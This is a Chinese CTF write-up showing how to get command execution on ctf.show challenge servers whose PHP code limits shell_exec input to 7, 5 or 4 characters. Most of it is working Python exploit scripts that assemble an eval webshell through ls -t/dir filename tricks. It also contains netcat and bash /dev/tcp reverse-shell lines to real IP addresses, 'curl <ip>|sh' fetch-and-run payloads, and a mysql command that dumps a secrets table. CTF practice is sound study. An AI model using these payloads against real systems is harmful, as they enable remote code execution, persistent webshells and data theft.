不同长度字符的命令执行
考虑7字符、5字符、4字符长度限制如何实现命令执行,环境基于linux alpine。
ls-t突破7字符限制(web目录可写)
漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 7){
shell_exec($cmd);
}
7字符getshell脚本
需要写入的语句:<?php eval($_GET[1]);
编码后的语句:PD9waHAgZXZhbCgkX0dFVFsxXSk7
需要执行的语句:echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
import requests
import time
url = "http://ed9441a5-6e27-43b0-8538-bdd2f5a5b4d2.challenge.ctf.show/"
payload=[
">hp",
">1.p\\",
">d\\>\\",
">\\ -\\",
">e64\\",
">bas\\",
">7\\|\\",
">XSk\\",
">Fsx\\",
">dFV\\",
">kX0\\",
">bCg\\",
">XZh\\",
">AgZ\\",
">waH\\",
">PD9\\",
">o\\ \\",
">ech\\",
"ls -t>0",
". 0"
]
def writeFile(payload):
data={
"cmd":payload
}
requests.post(url,data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create "+p.strip())
time.sleep(1)
def check():
response = requests.get(url+"1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is "+url+"1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
web目录不可写的情况
漏洞代码同上,是一样的,就是现在的web目录下没有写文件的权限了。
利用方式:直接强制上传反弹shell文件到临时目录,然后直接七字符执行!,原理如图:
强制上传getshell脚本
重点是里面的:. /t*/*
,这里七字符直接执行了/tmp目录下的所有文件!
import requests
import time
url = "http://f1f8f51f-8da6-43cc-ab09-d5456cc2bcb7.challenge.ctf.show/"
def getShell(payload):
data={
"cmd":payload
}
file = {
"file":b"#!/bin/sh\nnc 43.154.107.226 3389 -e /bin/sh"
}
requests.post(url,data=data,files=file)
print("[*] Attack success!!!")
def run():
getShell(". /t*/*")
def main():
run()
if __name__ == '__main__':
main()
getshell之后有个重要的点就是flag是在数据库里面的,然而反弹shell之后呢,使用交互式mysql经常会断开连接。。。所以只能使用非交互式的mysql进行语句的查询,如下:
mysql -uroot -proot -e"use ctfshow;select * from ctfshow_secret;"
dir突破5字符长度的命令执行
漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 5){
shell_exec($cmd);
}
?>
条件是只有五字符命令可以执行,当前web目录可写
方法思路:
1、将index.php变成.php(挺复杂的。就是关于dir
命令的妙用,dir
命令和ls
命令主要的区别就是dir
写到文件时不会换行,但是ls
命令写到文件时会换行!这里的目的应该主要是防止妨碍后面的临时文件打包到当前目录把
2、将临时文件打包到当前目录,* /t*
,这是五字符写入方式!(需要先在/tmp目录下写一个一句话 ,应该是强制上传吧,<?php file_put_contents("1.php","<?php eval($_POST[1]);?>");?>
,这是文件的内容
3、使用php执行tar压缩包 ,虽然打包的文件可能有很多其他的字符,但是php相关的内容还是在里面没有变动,因此可以直接执行php代码,例如直接php z
,这是五个字符,会将上述写入一句话的代码执行。
执行脚本
import requests
import time
url = "http://00d5415e-1e8d-42f6-9fe0-81052fa99f6a.challenge.ctf.show/"
url_2 = url + ".php"
delay = 1
chagneFile_payload = [
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'sh z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]
clearFile_payload = [
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]
shell_payload = [
'>tar',
'>vcf',
'>z'
]
file = {
'file': b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
}
def changeFile():
for p in chagneFile_payload:
sendPayload(url, p)
print("[*] create " + p.strip())
time.sleep(delay)
def clearFile():
for p in clearFile_payload:
sendPayload(url_2, p)
print("[*] create " + p.strip())
time.sleep(delay)
def getshell():
for p in shell_payload:
sendPayload(url_2, p)
print("[*] create " + p.strip())
time.sleep(delay)
data = {
"cmd": "* /t*"
}
requests.post(url_2, data=data, files=file)
data = {
"cmd": "php z"
}
requests.post(url_2, data=data)
def checkShell():
response = requests.get(url + "1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "1.php")
def sendPayload(url, payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
changeFile()
clearFile()
getshell()
checkShell()
def main():
run()
if __name__ == '__main__':
main()
grep突破dir被限制的5字符命令执行
漏洞代码和上面的一样,不过这一次加了dir不可执行的限制!
主要的思路就是使用grep h index.php
,将shell_exec
拷贝出来,然后在复制回index.php
中,就可以绕过5个字符的限制了!
脚本利用
import requests
import time
url = "http://0da3e190-b112-4e8f-84ac-4191ce1cad6d.challenge.ctf.show/"
payload = [
">grep",
">h",
"*>j",
"rm g*",
"rm h*",
">cat",
"*>>i",
"rm c*",
"rm j",
">cp",
"*"
]
def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(0.3)
print("[*] Attack success!!!Webshell is " + url)
def main():
run()
if __name__ == '__main__':
main()
虽然执行后index.php
给改了,但是命令执行后没回显,不知道是哪里的问题。。
web目录可写且有dir的4字符的命令执行
漏洞代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(strlen($cmd) <= 4){
shell_exec($cmd);
}
?>
与网上的题目所不同,网上的题目都是新建了一个sandbox目录,里面是啥都没有的,但是我们这里有一个index.php
,所以得另想办法。
dir
和ls
是有所不同的,dir
的输出重定向到文件时是不会换行的,但是ls
会,所以使用dir
时不用考虑在后面加一个\
,只需要考虑顺序,但是ls
需要考虑换行。
主要就是需要构造出一个ls -t
可用脚本
import requests
import time
url = "http://0523928c-154c-4591-b17d-e2d71e82afc9.challenge.ctf.show/"
payload = [
'>sl',
'>kt-',
'>j\\>',
'>j\\#',
'>dir',
'*>v',
'>rev',
'*v>x',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh x',
'sh j'
]
def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)
def check():
response = requests.get(url + "a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
没有dir但可出网的四字符命令执行
漏洞代码同上,只不过不可以执行dir
命令了。
这里由于目录下面可写,所以群主用了一种直接写的方法,我先是尝试了在自己的vps写下这一句话bash -i >& /dev/tcp/175.178.47.228/8888 0>&1
,然后跑脚本,发现好像没什么用,应该是环境可能没有bash吧。
然后尝试群主的写入一个一句话木马文件:echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
注意:忘记了一个重要事情,不要把点号.
写在前面,这样ls
不出来。
通用脚本(好像只能curl纯数字网址,不知道为啥
import requests
import time
url = "http://133b9eb2-eae5-41d8-81ab-2068c492aca6.challenge.ctf.show/"
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
# curl 2030350346|sh
# curl 175.178.47.228|sh
# curl 2947690468|sh
'>sh',
'>\\|\\',
'>68\\',
'>04\\',
'>69\\',
'>47\\',
'>29\\',
'>\\ \\',
'>rl\\',
'>cu\\',
'sh z',
'sh a',
]
def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)
def check():
response = requests.get(url + "1.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "1.php")
def main():
run()
check()
if __name__ == '__main__':
main()
不出网的4字符getshell
漏洞代码同上,这一次不可以出网了,因此curl、wget什么的都没用了,这里直接放脚本吧!
(感觉是通杀脚本
import requests
import time
url = "http://ab1290cc-c3f0-4ff2-b864-a4388d4331a6.challenge.ctf.show/"
payload = [
'>\\ \\',
'>-t\\',
'>\\>a',
'>ls\\',
'ls>v',
'>mv',
'>vt',
'*v*',
'>ls',
'l*>t',
'>cat',
'*t>z',
'>php',
'>a.\\',
'>\\>\\',
'>-d\\',
'>\\ \\',
'>64\\',
'>se\\',
'>ba\\',
'>\\|\\',
'>4=\\',
'>Pz\\',
'>k7\\',
'>XS\\',
'>sx\\',
'>VF\\',
'>dF\\',
'>X0\\',
'>gk\\',
'>bC\\',
'>Zh\\',
'>ZX\\',
'>Ag\\',
'>aH\\',
'>9w\\',
'>PD\\',
'>S}\\',
'>IF\\',
'>{\\',
'>\\$\\',
'>ho\\',
'>ec\\',
'sh z',
'sh a'
]
def writeFile(payload):
data = {
"cmd": payload
}
requests.post(url, data=data)
def run():
for p in payload:
writeFile(p.strip())
print("[*] create " + p.strip())
time.sleep(1)
def check():
response = requests.get(url + "a.php")
if response.status_code == requests.codes.ok:
print("[*] Attack success!!!Webshell is " + url + "a.php")
def main():
run()
check()
if __name__ == '__main__':
main()
总结
1、最少可以在4字符的无dir
的环境下拼接ls -t
2、当空格不够用的时候,可以使用特殊字符${IFS}
代替,但是需要注意命令部分不能有重复的字符组合。
3、需要根据环境选择getshell
的方法,有curl
、wget
、强制上传、不出网等等,不要拘泥于各种姿势。